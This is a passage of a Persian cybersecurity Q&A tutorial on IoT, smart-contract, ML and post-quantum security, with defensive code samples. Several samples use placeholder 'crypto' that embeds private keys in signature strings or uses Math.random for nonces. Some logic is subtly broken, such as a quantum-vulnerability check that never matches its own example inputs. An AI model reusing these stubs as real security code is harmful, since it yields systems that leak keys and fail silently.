46. مفهوم IoT Security چیست؟

پاسخ:

IoT Security مجموعه‌ای از روش‌ها و تکنولوژی‌هاست که برای محافظت از دستگاه‌های اینترنت اشیاء و شبکه‌های متصل به آن‌ها استفاده می‌شود.

چالش‌های امنیتی IoT:
  • Device Authentication: احراز هویت دستگاه
  • Firmware Security: امنیت firmware
  • Communication Security: امنیت ارتباطات
  • Physical Security: امنیت فیزیکی
// IoT Device Security Implementation
class IoTDeviceSecurity {
    constructor(deviceId, privateKey) {
        this.deviceId = deviceId;
        this.privateKey = privateKey;
        this.sessionKey = null;
    }
    
    // احراز هویت دستگاه
    async authenticateDevice() {
        const timestamp = Date.now();
        const nonce = this.generateNonce();
        
        const message = `${this.deviceId}:${timestamp}:${nonce}`;
        const signature = this.signMessage(message, this.privateKey);
        
        const authRequest = {
            deviceId: this.deviceId,
            timestamp: timestamp,
            nonce: nonce,
            signature: signature
        };
        
        try {
            const response = await fetch('/api/device/auth', {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify(authRequest)
            });
            
            if (response.ok) {
                const authData = await response.json();
                this.sessionKey = authData.sessionKey;
                return true;
            }
            
            return false;
        } catch (error) {
            console.error('Authentication failed:', error);
            return false;
        }
    }
    
    // ارسال داده امن
    async sendSecureData(data) {
        if (!this.sessionKey) {
            throw new Error('Device not authenticated');
        }
        
        const encryptedData = this.encryptData(data, this.sessionKey);
        const mac = this.generateMAC(encryptedData, this.sessionKey);
        
        const securePayload = {
            deviceId: this.deviceId,
            data: encryptedData,
            mac: mac,
            timestamp: Date.now()
        };
        
        return await fetch('/api/device/data', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify(securePayload)
        });
    }
    
    // به‌روزرسانی امن firmware
    async updateFirmware(firmwareUrl, expectedHash) {
        try {
            // دانلود firmware
            const response = await fetch(firmwareUrl);
            const firmwareData = await response.arrayBuffer();
            
            // تأیید hash
            const actualHash = await this.calculateHash(firmwareData);
            if (actualHash !== expectedHash) {
                throw new Error('Firmware hash mismatch');
            }
            
            // تأیید امضای دیجیتال
            const isValid = await this.verifyFirmwareSignature(firmwareData);
            if (!isValid) {
                throw new Error('Invalid firmware signature');
            }
            
            // نصب firmware
            await this.installFirmware(firmwareData);
            
            return true;
        } catch (error) {
            console.error('Firmware update failed:', error);
            return false;
        }
    }
    
    generateNonce() {
        return Math.random().toString(36).substring(2, 15);
    }
    
    signMessage(message, privateKey) {
        // شبیه‌سازی امضای دیجیتال
        return `signature_${message}_${privateKey}`;
    }
    
    encryptData(data, key) {
        // شبیه‌سازی رمزنگاری
        return `encrypted_${JSON.stringify(data)}_${key}`;
    }
    
    generateMAC(data, key) {
        // شبیه‌سازی MAC
        return `mac_${data}_${key}`;
    }
}
نکته: امنیت IoT نیازمند رویکرد چندلایه از سخت‌افزار تا ابر است.

47. مفهوم Blockchain Security چیست؟

پاسخ:

Blockchain Security مجموعه‌ای از اصول و تکنیک‌هاست که برای محافظت از شبکه‌های بلاک‌چین، قراردادهای هوشمند و دارایی‌های دیجیتال استفاده می‌شود.

تهدیدات بلاک‌چین:
  • Smart Contract Vulnerabilities: آسیب‌پذیری قراردادهای هوشمند
  • Private Key Management: مدیریت کلیدهای خصوصی
  • 51% Attack: حمله اکثریت
  • Front-running: پیش‌دستی در معاملات
// Smart Contract امن (Solidity)
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";

contract SecureContract is ReentrancyGuard, Ownable, Pausable {
    mapping(address => uint256) private balances;
    
    event Deposit(address indexed user, uint256 amount);
    event Withdrawal(address indexed user, uint256 amount);
    
    // محافظت در برابر overflow/underflow
    function deposit() external payable whenNotPaused {
        require(msg.value > 0, "Deposit amount must be greater than 0");
        
        // بررسی overflow
        require(balances[msg.sender] + msg.value >= balances[msg.sender], "Overflow detected");
        
        balances[msg.sender] += msg.value;
        emit Deposit(msg.sender, msg.value);
    }
    
    // محافظت در برابر reentrancy
    function withdraw(uint256 amount) external nonReentrant whenNotPaused {
        require(amount > 0, "Withdrawal amount must be greater than 0");
        require(balances[msg.sender] >= amount, "Insufficient balance");
        
        // تغییر state قبل از external call
        balances[msg.sender] -= amount;
        
        // external call در انتها
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
        
        emit Withdrawal(msg.sender, amount);
    }
    
    // تابع اضطراری برای توقف قرارداد
    function emergencyPause() external onlyOwner {
        _pause();
    }
    
    function unpause() external onlyOwner {
        _unpause();
    }
    
    // محدودیت gas برای جلوگیری از DoS
    function batchTransfer(address[] calldata recipients, uint256[] calldata amounts) 
        external 
        whenNotPaused 
    {
        require(recipients.length == amounts.length, "Arrays length mismatch");
        require(recipients.length <= 100, "Too many recipients"); // محدودیت gas
        
        for (uint256 i = 0; i < recipients.length; i++) {
            require(recipients[i] != address(0), "Invalid recipient");
            require(amounts[i] > 0, "Invalid amount");
            
            // انتقال امن
            _transfer(msg.sender, recipients[i], amounts[i]);
        }
    }
    
    function _transfer(address from, address to, uint256 amount) private {
        require(balances[from] >= amount, "Insufficient balance");
        
        balances[from] -= amount;
        balances[to] += amount;
    }
    
    function getBalance(address user) external view returns (uint256) {
        return balances[user];
    }
}
نکته: قراردادهای هوشمند باید قبل از استقرار به دقت audit شوند.

48. مفهوم AI/ML Security چیست؟

پاسخ:

AI/ML Security مجموعه‌ای از روش‌ها و تکنیک‌هاست که برای محافظت از سیستم‌های هوش مصنوعی و یادگیری ماشین در برابر حملات و سوءاستفاده استفاده می‌شود.

تهدیدات AI/ML:
  • Adversarial Attacks: حملات خصمانه
  • Data Poisoning: مسموم کردن داده
  • Model Extraction: استخراج مدل
  • Privacy Attacks: حملات حریم خصوصی
// محافظت از مدل ML
import numpy as np
from sklearn.ensemble import IsolationForest
import joblib

class MLModelSecurity:
    def __init__(self, model_path):
        self.model = joblib.load(model_path)
        self.anomaly_detector = IsolationForest(contamination=0.1)
        self.input_validator = InputValidator()
        
    def secure_predict(self, input_data):
        """پیش‌بینی امن با اعتبارسنجی ورودی"""
        try:
            # اعتبارسنجی ورودی
            if not self.input_validator.validate(input_data):
                raise ValueError("Invalid input data")
            
            # تشخیص anomaly
            if self.is_anomalous_input(input_data):
                raise ValueError("Anomalous input detected")
            
            # محدودیت rate limiting
            if not self.check_rate_limit():
                raise ValueError("Rate limit exceeded")
            
            # پیش‌بینی
            prediction = self.model.predict(input_data)
            
            # فیلتر کردن خروجی
            filtered_output = self.filter_output(prediction)
            
            return filtered_output
            
        except Exception as e:
            self.log_security_event(str(e), input_data)
            raise
    
    def is_anomalous_input(self, input_data):
        """تشخیص ورودی‌های مشکوک"""
        anomaly_score = self.anomaly_detector.decision_function(input_data.reshape(1, -1))
        return anomaly_score[0] < -0.5
    
    def filter_output(self, prediction):
        """فیلتر کردن خروجی برای جلوگیری از افشای اطلاعات"""
        # حذف اطلاعات حساس از خروجی
        if hasattr(prediction, 'confidence'):
            # محدود کردن دقت confidence
            prediction.confidence = round(prediction.confidence, 2)
        
        return prediction
    
    def add_differential_privacy(self, prediction, epsilon=1.0):
        """اضافه کردن نویز برای حفظ حریم خصوصی"""
        noise = np.random.laplace(0, 1/epsilon, prediction.shape)
        return prediction + noise

class InputValidator:
    def __init__(self):
        self.min_values = {}
        self.max_values = {}
        self.allowed_types = {}
    
    def validate(self, input_data):
        """اعتبارسنجی ورودی"""
        # بررسی نوع داده
        if not isinstance(input_data, np.ndarray):
            return False
        
        # بررسی محدوده مقادیر
        if np.any(input_data < -1000) or np.any(input_data > 1000):
            return False
        
        # بررسی NaN یا Infinity
        if np.any(np.isnan(input_data)) or np.any(np.isinf(input_data)):
            return False
        
        return True

# Federated Learning امن
class SecureFederatedLearning:
    def __init__(self):
        self.participants = []
        self.global_model = None
        
    def add_participant(self, participant_id, public_key):
        """اضافه کردن شرکت‌کننده"""
        self.participants.append({
            'id': participant_id,
            'public_key': public_key,
            'reputation': 1.0
        })
    
    def aggregate_models(self, local_models):
        """تجمیع امن مدل‌های محلی"""
        # اعتبارسنجی مدل‌ها
        validated_models = []
        for model in local_models:
            if self.validate_model(model):
                validated_models.append(model)
        
        # تجمیع با وزن‌دهی بر اساس reputation
        weighted_average = self.compute_weighted_average(validated_models)
        
        # اضافه کردن نویز برای حفظ حریم خصوصی
        noisy_model = self.add_privacy_noise(weighted_average)
        
        return noisy_model
    
    def validate_model(self, model):
        """اعتبارسنجی مدل دریافتی"""
        # بررسی اندازه مدل
        if self.get_model_size(model) > 100_000_000:  # 100MB
            return False
        
        # بررسی gradient clipping
        if self.has_large_gradients(model):
            return False
        
        return True
    
    def compute_weighted_average(self, models):
        """محاسبه میانگین وزن‌دار"""
        total_weight = sum(p['reputation'] for p in self.participants)
        
        averaged_weights = {}
        for layer_name in models[0].keys():
            layer_sum = np.zeros_like(models[0][layer_name])
            
            for i, model in enumerate(models):
                weight = self.participants[i]['reputation'] / total_weight
                layer_sum += weight * model[layer_name]
            
            averaged_weights[layer_name] = layer_sum
        
        return averaged_weights
نکته: امنیت AI/ML نیازمند توجه به تمام مراحل از داده تا استقرار است.

49. مفهوم Quantum Cryptography چیست؟

پاسخ:

Quantum Cryptography استفاده از اصول مکانیک کوانتومی برای ایجاد سیستم‌های رمزنگاری که از نظر تئوری غیرقابل شکستن هستند.

مفاهیم کلیدی:
  • Quantum Key Distribution (QKD): توزیع کلید کوانتومی
  • Quantum Entanglement: درهم‌تنیدگی کوانتومی
  • No-Cloning Theorem: قضیه عدم کپی‌برداری
  • Heisenberg Uncertainty: اصل عدم قطعیت
تهدید کامپیوترهای کوانتومی:
  • RSA Breaking: شکستن RSA
  • ECC Vulnerability: آسیب‌پذیری ECC
  • Post-Quantum Cryptography: رمزنگاری پس از کوانتوم
// شبیه‌سازی Post-Quantum Cryptography
class PostQuantumCrypto {
    constructor() {
        // الگوریتم‌های مقاوم در برابر کوانتوم
        this.algorithms = {
            'CRYSTALS-Kyber': 'Lattice-based key encapsulation',
            'CRYSTALS-Dilithium': 'Lattice-based digital signatures',
            'FALCON': 'Lattice-based signatures',
            'SPHINCS+': 'Hash-based signatures'
        };
    }
    
    // تولید کلید با الگوریتم مقاوم کوانتوم
    generateQuantumResistantKeys(algorithm = 'CRYSTALS-Kyber') {
        switch (algorithm) {
            case 'CRYSTALS-Kyber':
                return this.generateKyberKeys();
            case 'CRYSTALS-Dilithium':
                return this.generateDilithiumKeys();
            default:
                throw new Error(`Unsupported algorithm: ${algorithm}`);
        }
    }
    
    generateKyberKeys() {
        // شبیه‌سازی تولید کلید Kyber
        const privateKey = this.generateRandomMatrix(768); // Kyber-768
        const publicKey = this.generatePublicFromPrivate(privateKey);
        
        return {
            algorithm: 'CRYSTALS-Kyber-768',
            privateKey: privateKey,
            publicKey: publicKey,
            keySize: 768,
            securityLevel: 128 // bits
        };
    }
    
    generateDilithiumKeys() {
        // شبیه‌سازی تولید کلید Dilithium
        const privateKey = this.generateRandomPolynomial(256);
        const publicKey = this.generateDilithiumPublic(privateKey);
        
        return {
            algorithm: 'CRYSTALS-Dilithium-2',
            privateKey: privateKey,
            publicKey: publicKey,
            signatureSize: 2420, // bytes
            securityLevel: 128 // bits
        };
    }
    
    // رمزنگاری مقاوم کوانتوم
    encryptQuantumSafe(data, publicKey, algorithm = 'CRYSTALS-Kyber') {
        const encryptedData = {
            algorithm: algorithm,
            timestamp: new Date().toISOString(),
            ciphertext: this.performEncryption(data, publicKey, algorithm),
            keyEncapsulation: this.generateKeyEncapsulation(publicKey)
        };
        
        return encryptedData;
    }
    
    // امضای دیجیتال مقاوم کوانتوم
    signQuantumSafe(message, privateKey, algorithm = 'CRYSTALS-Dilithium') {
        const signature = {
            algorithm: algorithm,
            timestamp: new Date().toISOString(),
            message: message,
            signature: this.performSigning(message, privateKey, algorithm),
            publicKeyHash: this.hashPublicKey(privateKey.publicKey)
        };
        
        return signature;
    }
    
    // بررسی امضا
    verifyQuantumSafe(signedMessage, publicKey) {
        try {
            const isValid = this.performVerification(
                signedMessage.message,
                signedMessage.signature,
                publicKey,
                signedMessage.algorithm
            );
            
            return {
                isValid: isValid,
                algorithm: signedMessage.algorithm,
                verifiedAt: new Date().toISOString()
            };
        } catch (error) {
            return {
                isValid: false,
                error: error.message
            };
        }
    }
    
    // ارزیابی آمادگی کوانتومی
    assessQuantumReadiness(currentCrypto) {
        const assessment = {
            currentAlgorithms: currentCrypto,
            quantumVulnerable: [],
            quantumSafe: [],
            recommendations: []
        };
        
        currentCrypto.forEach(algo => {
            if (this.isQuantumVulnerable(algo)) {
                assessment.quantumVulnerable.push(algo);
                assessment.recommendations.push(
                    `Replace ${algo} with ${this.getQuantumSafeAlternative(algo)}`
                );
            } else {
                assessment.quantumSafe.push(algo);
            }
        });
        
        assessment.readinessScore = (
            assessment.quantumSafe.length / currentCrypto.length * 100
        ).toFixed(1);
        
        return assessment;
    }
    
    isQuantumVulnerable(algorithm) {
        const vulnerableAlgorithms = [
            'RSA', 'ECDSA', 'ECDH', 'DH', 'DSA'
        ];
        return vulnerableAlgorithms.includes(algorithm);
    }
    
    getQuantumSafeAlternative(algorithm) {
        const alternatives = {
            'RSA': 'CRYSTALS-Kyber',
            'ECDSA': 'CRYSTALS-Dilithium',
            'ECDH': 'CRYSTALS-Kyber',
            'DH': 'CRYSTALS-Kyber',
            'DSA': 'FALCON'
        };
        return alternatives[algorithm] || 'SPHINCS+';
    }
    
    // توابع کمکی (شبیه‌سازی)
    generateRandomMatrix(size) {
        return Array(size).fill().map(() => Math.random());
    }
    
    generateRandomPolynomial(degree) {
        return Array(degree).fill().map(() => Math.floor(Math.random() * 256));
    }
    
    generatePublicFromPrivate(privateKey) {
        // شبیه‌سازی تولید کلید عمومی
        return privateKey.map(x => (x * 2) % 256);
    }
    
    performEncryption(data, publicKey, algorithm) {
        // شبیه‌سازی رمزنگاری
        return `encrypted_${algorithm}_${data}`;
    }
    
    performSigning(message, privateKey, algorithm) {
        // شبیه‌سازی امضا
        return `signature_${algorithm}_${message}_${privateKey.length}`;
    }
}

// استفاده
const pqCrypto = new PostQuantumCrypto();

// تولید کلیدهای مقاوم کوانتوم
const keys = pqCrypto.generateQuantumResistantKeys('CRYSTALS-Kyber');
console.log('Quantum-resistant keys generated:', keys);

// ارزیابی آمادگی کوانتومی
const currentCrypto = ['RSA-2048', 'ECDSA-P256', 'AES-256'];
const assessment = pqCrypto.assessQuantumReadiness(currentCrypto);
console.log('Quantum readiness assessment:', assessment);
نکته: آمادگی برای عصر کوانتوم باید از همین حالا شروع شود.

50. آینده امنیت سایبری چگونه خواهد بود؟

پاسخ:

آینده امنیت سایبری شامل تکنولوژی‌های نوظهور، تهدیدات جدید و رویکردهای نوآورانه برای محافظت از دارایی‌های دیجیتال خواهد بود.

روندهای آینده:
  • AI-Powered Security: امنیت مبتنی بر هوش مصنوعی
  • Quantum Computing: محاسبات کوانتومی
  • Zero Trust Evolution: تکامل Zero Trust
  • Autonomous Security: امنیت خودکار
  • Privacy-Preserving Technologies: تکنولوژی‌های حافظ حریم خصوصی
تهدیدات آینده:
  • AI-Generated Attacks: حملات تولید شده با AI
  • Quantum Attacks: حملات کوانتومی
  • Deepfake Security: تهدیدات Deepfake
  • IoT Botnets: بات‌نت‌های IoT
  • Supply Chain Attacks: حملات زنجیره تأمین
تکنولوژی‌های نوظهور:
  • Homomorphic Encryption: رمزنگاری همومورفیک
  • Secure Multi-party Computation: محاسبه امن چندطرفه
  • Confidential Computing: محاسبه محرمانه
  • Behavioral Biometrics: بیومتریک رفتاری
  • Decentralized Identity: هویت غیرمتمرکز
// چشم‌انداز امنیت آینده
class FutureCyberSecurity {
    constructor() {
        this.aiSecurityEngine = new AISecurityEngine();
        this.quantumSafeProtocols = new QuantumSafeProtocols();
        this.autonomousDefense = new AutonomousDefense();
        this.privacyPreservingTech = new PrivacyPreservingTech();
    }
    
    // سیستم دفاعی خودکار
    async deployAutonomousDefense() {
        const defenseSystem = {
            aiThreatDetection: {
                enabled: true,
                models: ['anomaly_detection', 'behavioral_analysis', 'threat_prediction'],
                accuracy: 99.5,
                falsePositiveRate: 0.1
            },
            
            adaptiveResponse: {
                enabled: true,
                responseTime: '< 1 second',
                capabilities: [
                    'automatic_isolation',
                    'threat_neutralization',
                    'system_hardening',
                    'evidence_collection'
                ]
            },
            
            continuousLearning: {
                enabled: true,
                learningRate: 'real-time',
                dataSource: ['global_threat_intel', 'local_patterns', 'user_behavior']
            }
        };
        
        console.log('Autonomous defense system deployed:', defenseSystem);
        return defenseSystem;
    }
    
    // محافظت از حریم خصوصی با تکنولوژی‌های نوین
    async implementPrivacyPreservingAnalytics() {
        const privacyTech = {
            homomorphicEncryption: {
                enabled: true,
                scheme: 'CKKS',
                operations: ['addition', 'multiplication', 'comparison'],
                useCase: 'encrypted_data_analysis'
            },
            
            differentialPrivacy: {
                enabled: true,
                epsilon: 1.0,
                mechanism: 'Laplace',
                useCase: 'statistical_queries'
            },
            
            secureMPC: {
                enabled: true,
                parties: 3,
                protocol: 'BGW',
                useCase: 'collaborative_ml'
            },
            
            federatedLearning: {
                enabled: true,
                participants: 100,
                aggregationMethod: 'FedAvg',
                privacyBudget: 10.0
            }
        };
        
        console.log('Privacy-preserving analytics implemented:', privacyTech);
        return privacyTech;
    }
    
    // هویت غیرمتمرکز
    async deployDecentralizedIdentity() {
        const didSystem = {
            blockchain: 'Ethereum',
            identityStandard: 'W3C DID',
            verifiableCredentials: true,
            
            features: {
                selfSovereignIdentity: true,
                zeroKnowledgeProofs: true,
                biometricAuthentication: true,
                crossPlatformInteroperability: true
            },
            
            privacyFeatures: {
                selectiveDisclosure: true,
                unlinkability: true,
                minimumDataExposure: true
            }
        };
        
        console.log('Decentralized identity system deployed:', didSystem);
        return didSystem;
    }
    
    // پیش‌بینی تهدیدات آینده
    async predictFutureThreats() {
        const threatPrediction = {
            aiGeneratedThreats: {
                probability: 0.95,
                timeframe: '2-3 years',
                impact: 'HIGH',
                mitigation: 'AI-powered defense systems'
            },
            
            quantumThreats: {
                probability: 0.70,
                timeframe: '5-10 years',
                impact: 'CRITICAL',
                mitigation: 'Post-quantum cryptography'
            },
            
            deepfakeAttacks: {
                probability: 0.90,
                timeframe: '1-2 years',
                impact: 'MEDIUM',
                mitigation: 'Deepfake detection AI'
            },
            
            iotBotnets: {
                probability: 0.85,
                timeframe: '1-3 years',
                impact: 'HIGH',
                mitigation: 'IoT security standards'
            }
        };
        
        console.log('Future threat predictions:', threatPrediction);
        return threatPrediction;
    }
    
    // راهنمای آمادگی برای آینده
    generateFutureReadinessGuide() {
        return {
            immediate: [
                'Implement Zero Trust architecture',
                'Deploy AI-powered threat detection',
                'Start quantum-safe cryptography migration',
                'Enhance privacy-preserving technologies'
            ],
            
            shortTerm: [
                'Develop autonomous security capabilities',
                'Implement decentralized identity systems',
                'Build quantum-resistant infrastructure',
                'Create AI ethics frameworks'
            ],
            
            longTerm: [
                'Full quantum computing integration',
                'Complete autonomous security ecosystem',
                'Advanced privacy-preserving analytics',
                'Next-generation threat prediction'
            ],
            
            continuousActions: [
                'Security awareness training',
                'Threat intelligence sharing',
                'Research and development',
                'International cooperation'
            ]
        };
    }
}

// نمونه استفاده
const futureSecurity = new FutureCyberSecurity();

// استقرار سیستم‌های آینده
async function deployFutureSecurity() {
    console.log('🚀 Deploying Future Cybersecurity Systems...\n');
    
    await futureSecurity.deployAutonomousDefense();
    await futureSecurity.implementPrivacyPreservingAnalytics();
    await futureSecurity.deployDecentralizedIdentity();
    
    const threats = await futureSecurity.predictFutureThreats();
    const guide = futureSecurity.generateFutureReadinessGuide();
    
    console.log('\n📊 Future Readiness Guide:');
    console.log(guide);
}

// deployFutureSecurity();
توصیه‌های آمادگی:
  • سرمایه‌گذاری در AI Security: توسعه قابلیت‌های هوش مصنوعی
  • آموزش مداوم: به‌روزرسانی مهارت‌های تیم
  • همکاری بین‌المللی: اشتراک اطلاعات تهدیدات
  • تحقیق و توسعه: سرمایه‌گذاری در تکنولوژی‌های نوین
نکته نهایی: آینده امنیت سایبری نیازمند تفکر استراتژیک، نوآوری مداوم و همکاری جهانی است. آمادگی برای تهدیدات آینده باید از همین امروز شروع شود.